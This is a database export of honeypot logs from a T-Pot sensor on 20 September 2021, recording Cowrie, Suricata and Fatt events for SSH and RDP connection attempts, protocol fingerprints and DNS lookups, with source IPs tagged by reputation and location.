36367	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:13:46.848427+03	2021-09-20 15:15:04.490693+03	{"_id": "xQYgA3wBvYTbRNuEZ2Gt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:49675 (192.168.176.2:22) [session: 441fd9c8d8e4]", "session": "441fd9c8d8e4", "@version": "1", "protocol": "ssh", "src_port": 49675, "dest_port": 22, "timestamp": "2021-09-20T12:13:46.848427Z", "@timestamp": "2021-09-20T12:13:46.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36362	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:13:50.352343+03	2021-09-20 15:15:04.48369+03	{"_id": "3wYgA3wBvYTbRNuEdGGB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:49.660373+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 260975013729173, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58911, "dest_port": 3389, "timestamp": "2021-09-20T12:13:50.352343Z", "@timestamp": "2021-09-20T12:13:50.352Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36363	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:13:47.107052+03	2021-09-20 15:15:04.48569+03	{"_id": "xAYgA3wBvYTbRNuEZ2Gt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "441fd9c8d8e4", "@version": "1", "timestamp": "2021-09-20T12:13:47.107052Z", "@timestamp": "2021-09-20T12:13:47.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36364	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:13:47.10671+03	2021-09-20 15:15:04.486691+03	{"_id": "xwYgA3wBvYTbRNuEaGHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1584915862323994, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49675, "dest_port": 22, "timestamp": "2021-09-20T12:13:47.106710Z", "@timestamp": "2021-09-20T12:13:47.106Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36365	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:13:47.338124+03	2021-09-20 15:15:04.487691+03	{"_id": "ygYgA3wBvYTbRNuEaGHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 43183, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 11877647853772, "@version": "1", "in_iface": "enp5s0", "src_port": 35330, "dest_port": 53, "timestamp": "2021-09-20T12:13:47.338124Z", "@timestamp": "2021-09-20T12:13:47.338Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36366	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:13:47.339983+03	2021-09-20 15:15:04.48869+03	{"_id": "zAYgA3wBvYTbRNuEaGHI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 43183, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1847, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 11877647853772, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 35330, "timestamp": "2021-09-20T12:13:47.339983Z", "@timestamp": "2021-09-20T12:13:47.339Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36369	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:13:50.004443+03	2021-09-20 15:15:04.493695+03	{"_id": "4AYgA3wBvYTbRNuEdGGB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:49.660373+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 260975013729173, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58911, "dest_port": 3389, "timestamp": "2021-09-20T12:13:50.004443Z", "@timestamp": "2021-09-20T12:13:50.004Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36370	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:13:50.004443+03	2021-09-20 15:15:04.494691+03	{"_id": "4gYgA3wBvYTbRNuEdGGB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:49.660373+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 260975013729173, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58911, "dest_port": 3389, "timestamp": "2021-09-20T12:13:50.004443Z", "@timestamp": "2021-09-20T12:13:50.004Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36371	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:51.944608+03	2021-09-20 15:15:04.496691+03	{"_id": "5gYgA3wBvYTbRNuEeWGq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41070, "timestamp": "2021-09-20T12:13:51.944608", "@timestamp": "2021-09-20T12:13:51.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36372	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:13:51.940777+03	2021-09-20 15:15:04.49769+03	{"_id": "7AYgA3wBvYTbRNuEe2E4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:41070 (192.168.176.2:22) [session: 0dcd16356392]", "session": "0dcd16356392", "@version": "1", "protocol": "ssh", "src_port": 41070, "dest_port": 22, "timestamp": "2021-09-20T12:13:51.940777Z", "@timestamp": "2021-09-20T12:13:51.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
36373	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:14:22.618473+03	2021-09-20 15:15:04.499689+03	{"_id": "UwYgA3wBvYTbRNuE8WKM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 2711, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1654696198434793, "@version": "1", "in_iface": "enp5s0", "src_port": 44205, "dest_port": 53, "timestamp": "2021-09-20T12:14:22.618473Z", "@timestamp": "2021-09-20T12:14:22.618Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36374	120.36.157.98	109.199.241.180	Suricata	2021-09-20 15:14:22.321491+03	2021-09-20 15:15:04.50069+03	{"_id": "UQYgA3wBvYTbRNuE8WKM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "flow_id": 1499927051885192, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 11053, "dest_port": 22, "timestamp": "2021-09-20T12:14:22.321491Z", "@timestamp": "2021-09-20T12:14:22.321Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36375	1.116.239.130	109.199.241.180	Suricata	2021-09-20 15:14:22.648055+03	2021-09-20 15:15:04.501689+03	{"_id": "UgYgA3wBvYTbRNuE8WKM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:14:22.091724+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1694637246801484, "payload": "AAADzAYUrKKPg1cUJX9lqTPNFAybnAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 32940, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:14:22.648055Z", "@timestamp": "2021-09-20T12:14:22.648Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........W.%.e.3........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36376	120.36.157.98	109.199.241.180	Fatt	2021-09-20 15:14:22.321788+03	2021-09-20 15:15:04.50269+03	{"_id": "VAYgA3wBvYTbRNuE8mKH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 11053, "dest_port": 22, "timestamp": "2021-09-20T12:14:22.321788", "@timestamp": "2021-09-20T12:14:22.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36377	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:14:22.71569+03	2021-09-20 15:15:04.50469+03	{"_id": "VQYgA3wBvYTbRNuE8mKH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36256, "timestamp": "2021-09-20T12:14:22.715690", "@timestamp": "2021-09-20T12:14:22.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
